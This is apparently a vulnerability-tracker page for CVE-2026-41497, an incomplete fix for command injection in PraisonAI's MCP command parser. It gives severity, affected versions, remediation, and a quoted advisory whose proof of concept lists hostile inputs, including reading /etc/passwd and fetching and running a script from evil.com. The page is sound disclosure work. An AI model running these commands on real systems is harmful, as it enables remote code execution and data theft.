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  4. CVE 2026 41497 praisonai has an incomplete fix for cve 2026
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Back to active CVEs
Critical ยท CVSS 9.8CVE-2026-41497GHSA-9QHQ-V63V-FV3J

PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command InjectionCVE-2026-41497

Answer in brief

CVE-2026-41497 records a Critical severity (CVSS 9.8) vulnerability in PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection. The current sources do not mark it as known exploited. The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 17, 2026Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Oct 28, 2026Material review Nov 16, 2026
Upstream Advisory

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-77, CWE-78
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
7 linked sources
Open source record

Key facts

Risk
Critical ยท CVSS 9.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
praisonaipip<=4.5.1484.5.149

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for praisonai.
  2. 2Review the reported fix. Update praisonai to 4.5.149 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 17, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 28, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
Upstream source description

### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print("Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f"Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).

Quoted source text, attributed separately from HOL analysis.

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